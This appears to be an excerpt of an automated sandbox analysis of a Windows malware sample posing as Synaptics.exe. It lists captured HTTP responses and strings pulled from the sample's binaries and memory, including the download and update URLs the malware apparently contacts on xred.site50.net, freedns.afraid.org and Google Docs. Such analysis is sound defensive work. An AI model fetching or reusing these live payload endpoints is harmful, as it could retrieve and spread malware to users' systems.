Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6v3HYeTqrsUHACJFzNBr5QF5f2_0138FhIMe_2rj_MvyQt6JkrzYhgGW63IdvHKmNkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:27 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-XWjZzNd_MTKuEypRGmYdqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5kNJbpeY_gGpFPlTtoZUI3t6KYygMgrGrqM_RS_0ZJh4rCPj6y4OoVYcFsBqChoXWNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:28 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Won8lGreWcT1Z9wet5NWQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6kBm2LjNGGglR6lCeY90-W65P9GR58yASFxpJ--z0PEC1mvrqfMM4f2WVTN7Lv3_3_Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:28 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MptiimHuuhdKZ61INQK-FA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Zb-plXmbLGoJyZxLR1_LqwoqahygGIbNQhB6wj0nNYoWg9wbDhCuwlOJbsQYwPDbIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:13:00 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-xIsJAdaenmVP-GEHnSMFbw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.00000000053D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978/$D
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini0
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rard
Source: Synaptics.exe, 00000003.00000002.3074340257.000000001DB89000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.goo
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.goo3
Source: Synaptics.exe, 00000003.00000002.3049468248.000000000F96E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3152143254.000000003B53E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3023403853.00000000070BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/4
Source: Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/4R
Source: Synaptics.exe, 00000003.00000002.3074863687.000000001DE3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/=
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/H
Source: Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/db
Source: Synaptics.exe, 00000003.00000002.3169345579.000000003D90E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3074641637.000000001DCF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3028056231.0000000007FEE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3206994430.000000004C9FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154048539.000000003C2FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3196142042.0000000047CCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3067925393.000000001BE7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3087993291.000000001E47E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3060578705.0000000015CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3189863644.000000004470E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3175536438.000000003FFCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3094400439.00000000229FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3090715934.000000002047E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3027812097.0000000007D6E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3050289501.00000000104AE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3064714409.00000000193FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3048472105.000000000EBAE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3099230664.0000000024CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3153366313.000000003BCBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3219238625.000000004FABE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3094243741.00000000228BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3054885036.0000000012AFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#7$
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#n
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$2
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$Wg
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$s;
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%1
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&/c
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&9
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&i?
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(3:
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)$6
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)=
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)Ul
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)j7
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-?
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cn.
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cn.c
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-i2
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.(k
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..5
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.=
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.?=
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.P
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
